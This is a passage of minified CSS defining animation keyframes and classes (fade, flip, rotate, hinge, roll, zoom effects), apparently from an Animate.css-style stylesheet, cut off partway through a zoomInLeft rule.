fadeInDownBig{0%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInDownBig{0%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);-ms-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}100%{opacity:1;-webkit-transform:none;-ms-transform:none;transform:none}}.fadeInDownBig{-webkit-animation-name:fadeInDownBig;animation-name:fadeInDownBig}@-webkit-keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0);-ms-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}100%{opacity:1;-webkit-transform:none;-ms-transform:none;transform:none}}.fadeInLeft{-webkit-animation-name:fadeInLeft;animation-name:fadeInLeft}@-webkit-keyframes fadeInLeftBig{0%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInLeftBig{0%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);-ms-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}100%{opacity:1;-webkit-transform:none;-ms-transform:none;transform:none}}.fadeInLeftBig{-webkit-animation-name:fadeInLeftBig;animation-name:fadeInLeftBig}@-webkit-keyframes fadeInRight{0%{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInRight{0%{opacity:0;-webkit-transform:translate3d(100%,0,0);-ms-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}100%{opacity:1;-webkit-transform:none;-ms-transform:none;transform:none}}.fadeInRight{-webkit-animation-name:fadeInRight;animation-name:fadeInRight}@-webkit-keyframes fadeInRightBig{0%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInRightBig{0%{opacity:0;-webkit-transform:translate3d(2000px,0,0);-ms-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}100%{opacity:1;-webkit-transform:none;-ms-transform:none;transform:none}}.fadeInRightBig{-webkit-animation-name:fadeInRightBig;animation-name:fadeInRightBig}@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);-ms-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}100%{opacity:1;-webkit-transform:none;-ms-transform:none;transform:none}}.fadeInUp{-webkit-animation-name:fadeInUp;animation-name:fadeInUp}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translate3d(0,2000px,0);-ms-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}100%{opacity:1;-webkit-transform:none;-ms-transform:none;transform:none}}.fadeInUpBig{-webkit-animation-name:fadeInUpBig;animation-name:fadeInUpBig}@-webkit-keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.fadeOut{-webkit-animation-name:fadeOut;animation-name:fadeOut}@-webkit-keyframes fadeOutDown{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,100%,0);-ms-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.fadeOutDown{-webkit-animation-name:fadeOutDown;animation-name:fadeOutDown}@-webkit-keyframes fadeOutDownBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes fadeOutDownBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);-ms-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.fadeOutDownBig{-webkit-animation-name:fadeOutDownBig;animation-name:fadeOutDownBig}@-webkit-keyframes fadeOutLeft{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes fadeOutLeft{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(-100%,0,0);-ms-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.fadeOutLeft{-webkit-animation-name:fadeOutLeft;animation-name:fadeOutLeft}@-webkit-keyframes fadeOutLeftBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes fadeOutLeftBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);-ms-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.fadeOutLeftBig{-webkit-animation-name:fadeOutLeftBig;animation-name:fadeOutLeftBig}@-webkit-keyframes fadeOutRight{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes fadeOutRight{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(100%,0,0);-ms-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.fadeOutRight{-webkit-animation-name:fadeOutRight;animation-name:fadeOutRight}@-webkit-keyframes fadeOutRightBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes fadeOutRightBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);-ms-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.fadeOutRightBig{-webkit-animation-name:fadeOutRightBig;animation-name:fadeOutRightBig}@-webkit-keyframes fadeOutUp{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes fadeOutUp{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,-100%,0);-ms-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}.fadeOutUp{-webkit-animation-name:fadeOutUp;animation-name:fadeOutUp}@-webkit-keyframes fadeOutUpBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes fadeOutUpBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);-ms-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.fadeOutUpBig{-webkit-animation-name:fadeOutUpBig;animation-name:fadeOutUpBig}@-webkit-keyframes flip{0%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-360deg);transform:perspective(400px) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95);transform:perspective(400px) scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}100%{-webkit-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}@keyframes flip{0%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-360deg);-ms-transform:perspective(400px) rotate3d(0,1,0,-360deg);transform:perspective(400px) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-ms-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-ms-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95);-ms-transform:perspective(400px) scale3d(.95,.95,.95);transform:perspective(400px) scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}100%{-webkit-transform:perspective(400px);-ms-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}.animated.flip{-webkit-backface-visibility:visible;-ms-backface-visibility:visible;backface-visibility:visible;-webkit-animation-name:flip;animation-name:flip}@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}100%{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{0%{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);-ms-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);-ms-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);-ms-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);-ms-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}100%{-webkit-transform:perspective(400px);-ms-transform:perspective(400px);transform:perspective(400px)}}.flipInX{-webkit-backface-visibility:visible!important;-ms-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInX;animation-name:flipInX}@-webkit-keyframes flipInY{0%{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}100%{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{0%{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);-ms-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);-ms-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);-ms-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);-ms-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}100%{-webkit-transform:perspective(400px);-ms-transform:perspective(400px);transform:perspective(400px)}}.flipInY{-webkit-backface-visibility:visible!important;-ms-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInY;animation-name:flipInY}@-webkit-keyframes flipOutX{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}100%{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);opacity:0}}@keyframes flipOutX{0%{-webkit-transform:perspective(400px);-ms-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);-ms-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}100%{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);-ms-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);opacity:0}}.flipOutX{-webkit-animation-name:flipOutX;animation-name:flipOutX;-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-backface-visibility:visible!important;-ms-backface-visibility:visible!important;backface-visibility:visible!important}@-webkit-keyframes flipOutY{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-15deg);transform:perspective(400px) rotate3d(0,1,0,-15deg);opacity:1}100%{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);opacity:0}}@keyframes flipOutY{0%{-webkit-transform:perspective(400px);-ms-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-15deg);-ms-transform:perspective(400px) rotate3d(0,1,0,-15deg);transform:perspective(400px) rotate3d(0,1,0,-15deg);opacity:1}100%{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);-ms-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);opacity:0}}.flipOutY{-webkit-backface-visibility:visible!important;-ms-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipOutY;animation-name:flipOutY;-webkit-animation-duration:.75s;animation-duration:.75s}@-webkit-keyframes lightSpeedIn{0%{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg);opacity:1}100%{-webkit-transform:none;transform:none;opacity:1}}@keyframes lightSpeedIn{0%{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);-ms-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);-ms-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);-ms-transform:skewX(-5deg);transform:skewX(-5deg);opacity:1}100%{-webkit-transform:none;-ms-transform:none;transform:none;opacity:1}}.lightSpeedIn{-webkit-animation-name:lightSpeedIn;animation-name:lightSpeedIn;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}@-webkit-keyframes lightSpeedOut{0%{opacity:1}100%{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}@keyframes lightSpeedOut{0%{opacity:1}100%{-webkit-transform:translate3d(100%,0,0) skewX(30deg);-ms-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}.lightSpeedOut{-webkit-animation-name:lightSpeedOut;animation-name:lightSpeedOut;-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}@-webkit-keyframes rotateIn{0%{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}100%{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateIn{0%{-webkit-transform-origin:center;-ms-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);-ms-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}100%{-webkit-transform-origin:center;-ms-transform-origin:center;transform-origin:center;-webkit-transform:none;-ms-transform:none;transform:none;opacity:1}}.rotateIn{-webkit-animation-name:rotateIn;animation-name:rotateIn}@-webkit-keyframes rotateInDownLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInDownLeft{0%{-webkit-transform-origin:left bottom;-ms-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);-ms-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}100%{-webkit-transform-origin:left bottom;-ms-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;-ms-transform:none;transform:none;opacity:1}}.rotateInDownLeft{-webkit-animation-name:rotateInDownLeft;animation-name:rotateInDownLeft}@-webkit-keyframes rotateInDownRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInDownRight{0%{-webkit-transform-origin:right bottom;-ms-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,45deg);-ms-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}100%{-webkit-transform-origin:right bottom;-ms-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;-ms-transform:none;transform:none;opacity:1}}.rotateInDownRight{-webkit-animation-name:rotateInDownRight;animation-name:rotateInDownRight}@-webkit-keyframes rotateInUpLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInUpLeft{0%{-webkit-transform-origin:left bottom;-ms-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);-ms-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}100%{-webkit-transform-origin:left bottom;-ms-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;-ms-transform:none;transform:none;opacity:1}}.rotateInUpLeft{-webkit-animation-name:rotateInUpLeft;animation-name:rotateInUpLeft}@-webkit-keyframes rotateInUpRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInUpRight{0%{-webkit-transform-origin:right bottom;-ms-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-90deg);-ms-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}100%{-webkit-transform-origin:right bottom;-ms-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;-ms-transform:none;transform:none;opacity:1}}.rotateInUpRight{-webkit-animation-name:rotateInUpRight;animation-name:rotateInUpRight}@-webkit-keyframes rotateOut{0%{-webkit-transform-origin:center;transform-origin:center;opacity:1}100%{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}@keyframes rotateOut{0%{-webkit-transform-origin:center;-ms-transform-origin:center;transform-origin:center;opacity:1}100%{-webkit-transform-origin:center;-ms-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);-ms-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}.rotateOut{-webkit-animation-name:rotateOut;animation-name:rotateOut}@-webkit-keyframes rotateOutDownLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate(0,0,1,45deg);transform:rotate(0,0,1,45deg);opacity:0}}@keyframes rotateOutDownLeft{0%{-webkit-transform-origin:left bottom;-ms-transform-origin:left bottom;transform-origin:left bottom;opacity:1}100%{-webkit-transform-origin:left bottom;-ms-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate(0,0,1,45deg);-ms-transform:rotate(0,0,1,45deg);transform:rotate(0,0,1,45deg);opacity:0}}.rotateOutDownLeft{-webkit-animation-name:rotateOutDownLeft;animation-name:rotateOutDownLeft}@-webkit-keyframes rotateOutDownRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes rotateOutDownRight{0%{-webkit-transform-origin:right bottom;-ms-transform-origin:right bottom;transform-origin:right bottom;opacity:1}100%{-webkit-transform-origin:right bottom;-ms-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-45deg);-ms-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutDownRight{-webkit-animation-name:rotateOutDownRight;animation-name:rotateOutDownRight}@-webkit-keyframes rotateOutUpLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes rotateOutUpLeft{0%{-webkit-transform-origin:left bottom;-ms-transform-origin:left bottom;transform-origin:left bottom;opacity:1}100%{-webkit-transform-origin:left bottom;-ms-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);-ms-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutUpLeft{-webkit-animation-name:rotateOutUpLeft;animation-name:rotateOutUpLeft}@-webkit-keyframes rotateOutUpRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}@keyframes rotateOutUpRight{0%{-webkit-transform-origin:right bottom;-ms-transform-origin:right bottom;transform-origin:right bottom;opacity:1}100%{-webkit-transform-origin:right bottom;-ms-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,90deg);-ms-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}.rotateOutUpRight{-webkit-animation-name:rotateOutUpRight;animation-name:rotateOutUpRight}@-webkit-keyframes hinge{0%{-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}100%{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}@keyframes hinge{0%{-webkit-transform-origin:top left;-ms-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);-ms-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top left;-ms-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);-ms-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top left;-ms-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}100%{-webkit-transform:translate3d(0,700px,0);-ms-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}.hinge{-webkit-animation-name:hinge;animation-name:hinge}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);-ms-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}100%{opacity:1;-webkit-transform:none;-ms-transform:none;transform:none}}.rollIn{-webkit-animation-name:rollIn;animation-name:rollIn}@-webkit-keyframes rollOut{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg)}}@keyframes rollOut{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg);-ms-transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg)}}.rollOut{-webkit-animation-name:rollOut;animation-name:rollOut}@-webkit-keyframes zoomIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}@keyframes zoomIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);-ms-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}.zoomIn{-webkit-animation-name:zoomIn;animation-name:zoomIn}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(0.55,.055,.675,.19);animation-timing-function:cubic-bezier(0.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(0.175,.885,.32,1);animation-timing-function:cubic-bezier(0.175,.885,.32,1)}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-ms-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(0.55,.055,.675,.19);animation-timing-function:cubic-bezier(0.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-ms-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(0.175,.885,.32,1);animation-timing-function:cubic-bezier(0.175,.885,.32,1)}}.zoomInDown{-webkit-animation-name:zoomInDown;animation-name:zoomInDown}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(0.55,.055,.675,.19);animation-timing-function:cubic-bezier(0.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(0.175,.885,.32,1);animation-timing-function:cubic-bezier(0.175,.885,.32,1)}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-ms-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(0.55,.055,.675,.19);animation-timing-function:cubic-bezier(0.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-ms-transform:scale3d(.475,.475,.475) 